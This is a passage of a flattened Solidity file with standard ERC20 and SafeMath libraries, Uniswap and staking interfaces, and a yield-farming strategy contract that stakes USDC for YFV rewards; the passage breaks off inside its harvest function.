* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
////// src/lib/erc20.sol
// File: contracts/GSN/Context.sol
/* pragma solidity ^0.6.0; */
/* import "./safe-math.sol"; */
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
////// src/interfaces/vault.sol
/* pragma solidity ^0.6.2; */
/* import "../lib/erc20.sol"; */
interface IVault is IERC20 {
function token() external view returns (address);
function claimInsurance() external; // NOTE: Only yDelegatedVault implements this
function getRatio() external view returns (uint256);
function deposit(uint256) external;
function withdraw(uint256) external;
function earn() external;
}
////// src/interfaces/yfv-rewards.sol
/* pragma solidity ^0.6.2; */
interface IYfvRewards {
function balanceOf(address tokenAddress, address account) external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function weiTotalSupply() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function weiBalanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function stakingPower(address account) external view returns (uint256);
function vUSDBalance(address account) external view returns (uint256);
function vETHBalance(address account) external view returns (uint256);
function claimVETHReward() external;
function stake(address tokenAddress, uint256 amount, address referrer) external;
function withdraw(address tokenAddress, uint256 amount) external;
function exit() external;
function getReward() external;
function nextRewardMultiplier() external view returns (uint16);
function notifyRewardAmount(uint256 reward) external;
}
////// src/interfaces/uniswapv2.sol
/* pragma solidity ^0.6.2; */
interface UniswapRouterV2 {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IController {
function vaults(address) external view returns (address);
function comAddr() external view returns (address);
function devAddr() external view returns (address);
function burnAddr() external view returns (address);
function want(address) external view returns (address); // NOTE: Only StrategyControllerV2 implements this
function balanceOf(address) external view returns (uint256);
function withdraw(address, uint256) external;
function freeWithdraw(address, uint256) external;
function earn(address, uint256) external;
}
interface IStakingRewards {
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function exit() external;
function getReward() external;
function getRewardForDuration() external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function lastUpdateTime() external view returns (uint256);
function notifyRewardAmount(uint256 reward) external;
function periodFinish() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function rewardPerTokenStored() external view returns (uint256);
function rewardRate() external view returns (uint256);
function rewards(address) external view returns (uint256);
function rewardsDistribution() external view returns (address);
function rewardsDuration() external view returns (uint256);
function rewardsToken() external view returns (address);
function stake(uint256 amount) external;
function stakeWithPermit(
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function stakingToken() external view returns (address);
function totalSupply() external view returns (uint256);
function userRewardPerTokenPaid(address) external view returns (uint256);
function withdraw(uint256 amount) external;
}
////// src/strategies/strategy-yfv-dai.sol
// https://etherscan.io/address/0xF147b8125d2ef93FB6965Db97D6746952a133934
contract StrategyYfvUsdc {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// Staking rewards address for usdc LP providers
address public constant rewards = 0xC2D55CE14a8e04AEF9B6bCfD105079b63C6a0AC8;
// want usdc stablecoins
address public constant want = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
// tokens we're farming
address public constant yfv = 0x45f24BaEef268BB6d63AEe5129015d69702BCDfa;
// weth
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// yfv vUSD
address public vUSD = 0x1B8E12F839BD4e73A47adDF76cF7F0097d74c14C;
// yfv vETH
address public vETH = 0x76A034e76Aa835363056dd418611E4f81870f16e;
// dex
address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// Fees 5% in total
// - 1.5% keepYFV for development fund
// - 2% performanceFee for community fund
// - 1.5% used to burn/repurchase btfs
uint256 public keepYFV = 150;
uint256 public constant keepYFVMax = 10000;
uint256 public performanceFee = 200;
uint256 public constant performanceMax = 10000;
uint256 public burnFee = 150;
uint256 public constant burnMax = 10000;
uint256 public withdrawalFee = 0;
uint256 public constant withdrawalMax = 10000;
address public governance;
address public controller;
address public strategist;
address public timelock;
address public btf;
constructor(
address _governance,
address _strategist,
address _controller,
address _timelock,
address _btf
) public {
governance = _governance;
strategist = _strategist;
controller = _controller;
timelock = _timelock;
btf = _btf;
}
// **** Views ****
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
return IYfvRewards(rewards).balanceOf(want, address(this));
}
function balanceOf() public view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function getName() external pure returns (string memory) {
return "StrategyYfvUsdc";
}
function getHarvestable() external view returns (uint256) {
return IYfvRewards(rewards).earned(address(this));
}
// **** Setters ****
function setKeepYFV(uint256 _keepYFV) external {
require(msg.sender == governance, "!governance");
keepYFV = _keepYFV;
}
function setWithdrawalFee(uint256 _withdrawalFee) external {
require(msg.sender == governance, "!governance");
withdrawalFee = _withdrawalFee;
}
function setPerformanceFee(uint256 _performanceFee) external {
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function setBurnFee(uint256 _burnFee) external {
require(msg.sender == governance, "!governance");
burnFee = _burnFee;
}
function setStrategist(address _strategist) external {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setTimelock(address _timelock) external {
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
function setController(address _controller) external {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// **** State Mutations ****
function deposit() public {
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
IERC20(want).safeApprove(rewards, 0);
IERC20(want).approve(rewards, _want);
IYfvRewards(rewards).stake(want, _want, IController(controller).comAddr());
}
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
require(want != address(_asset), "want");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
// Contoller only function for withdrawing for free
// This is used to swap between vaults
function freeWithdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_amount.sub(_balance));
_amount = _amount.add(_balance);
}
IERC20(want).safeTransfer(msg.sender, _amount);
}
// Withdraw partial funds, normally used with a vault withdrawal
function withdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_amount.sub(_balance));
_amount = _amount.add(_balance);
}
if (withdrawalFee > 0) {
uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
IERC20(want).safeTransfer(IController(controller).comAddr(), _fee);
_amount = _amount.sub(_fee);
}
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault");
// additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, _amount);
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
_withdrawAll();
balance = IERC20(want).balanceOf(address(this));
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault");
// additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, balance);
}
function _withdrawAll() internal {
_withdrawSome(balanceOfPool());
}
function _withdrawSome(uint256 _amount) internal returns (uint256) {
IYfvRewards(rewards).withdraw(want, _amount);
return _amount;
}
function brine() public {
harvest();
}
function harvest() public {
// Anyone can harvest it at any given time.
// I understand the possibility of being frontrun
// But ETH is a dark forest, and I wanna see how this plays out
// i.e. will be be heavily frontrunned?
// if so, a new strategy will be deployed.
// Collects YFV tokens
IYfvRewards(rewards).getReward();
uint256 _yfv = IERC20(yfv).balanceOf(address(this));
if (_yfv > 0) {
if (keepYFV > 0) {
// some yfv locked up for future gov
uint256 _keepYFV = _yfv.mul(keepYFV).div(keepYFVMax);
IERC20(yfv).safeTransfer(
IController(controller).devAddr(),
_keepYFV
);
_yfv = _yfv.sub(_keepYFV);
}
if (burnFee > 0) {
// Burn some btf
uint256 _burnFee = _yfv.mul(burnFee).div(burnMax);
_swap(yfv, btf, _burnFee);
IERC20(btf).transfer(
IController(controller).burnAddr(),
IERC20(btf).balanceOf(address(this))
);
_yfv = _yfv.sub(_burnFee);
}
// swap for want
_swap(yfv, want, _yfv);
}
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
// Performance fee
if (performanceFee > 0) {
IERC20(want).safeTransfer(
IController(controller).comAddr(),
_want.mul(performanceFee).div(performanceMax)
